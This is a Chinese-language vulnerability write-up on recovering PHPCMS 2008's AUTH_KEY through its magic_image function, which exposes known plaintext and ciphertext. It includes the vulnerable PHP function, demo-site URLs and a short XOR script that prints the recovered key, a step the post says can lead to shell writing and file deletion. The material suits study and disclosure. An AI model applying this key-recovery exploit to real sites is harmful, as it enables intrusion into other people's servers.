phpcms的另一個phpcms_auth函數的加密密鑰AUTH_KEY泄漏漏洞
phpcms的phpcms_auth函數的加密密鑰AUTH_KEY泄漏會導致本地包含任意文件下載等多個漏洞。
而對phpcms2008有的本地包含又可以導致直接寫shell和刪除文件。所以泄漏了phpcms的phpcms_auth函數的加密密鑰AUTH_KEY就可能直接導致被秒殺。
已經說明了兩個破解"phpcms_auth函數的加密密鑰AUTH_KEY"的方法,但是還不是很理想,最理想的是直接給我們足夠的明文和密文。
是的開放的phpcms真的給我們這樣的了,沒有保留。
上一篇說到"破解了這個函數之后,一方面反而更加不安全了,另一方面所有建立在這個函數之上的機制可能都會受到攻擊。"
其實一切建立在這個函數上的代碼都可能給我們機會破解這個密鑰。
來看magic_image函數,主要作用就是將字符串生成一個圖片,這樣做應該是為了防止別人采集網站上的數據,或者是防止泄漏隱私。
// include global.fun.php function magic_image($txt, $fonttype = 4) { if(empty($txt)) return false; if(function_exists("imagepng")) { $txt = urlencode(phpcms_auth($txt, 'ENCODE', AUTH_KEY)); $txt = '<img src="'.PHPCMS_PATH.'magic_image.php?gd=1&fonttype='.$fonttype.'&txt='.$txt.'" align="absmiddle">'; } return $txt; }
在招聘、供求信息、跳蚤市場等多個功能模塊都用到了這個函數。而且像供求信息、跳蚤市場貌似普通注冊用戶就能發貼。
發貼的時候在電話號碼或郵箱那的字符就會被magic_image函數加密,顯示給用戶的時候又會調用magic_image.php文件,對字符串解密並進行生成圖片。
就是說:
我們可以自定義明文
並且我們也可以得到明文加密后的密文
這就意味這我們可以得到全部密文(只要電話或郵箱的長度大於20位即可),不費什么力氣。
舉例說明
1.在http://demo.phpcms.cn隨便注冊個普通用戶會員
2.在跳蚤市場那
http://demo.phpcms.cn/info/sale/
隨便點開一個信息頁點右側的 【免費發布信息】 http://demo.phpcms.cn/contribute.php?catid=22
隨便發一條信息
使用郵箱為
xxxxx@gmail.com
3.最后找到我們發布的信息:
http://demo.phpcms.cn/2011/0405/366.html
查看郵箱圖片的地址
http://demo.phpcms.cn/magic_image.php?gd=1&fonttype=4&txt=ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D
--------------------
好了
明文:xxxxx@gmail.com
密文:ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D
解密一下:
<?php $key="xxxxx@gmail.com"; $txt='ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D'; $txt=base64_decode(urldecode($txt)); for($i=0;$i<strlen($key);$i++) { $code .= $txt[$i] ^ $key[$i]; } echo $code; ?>
運行結果:
$ php /var/www/vul.php
OXdcFVodxAcbCUeTgLBgOXdc
我們的密鑰就是:
OXdcFVodxAcbCUeTgLBg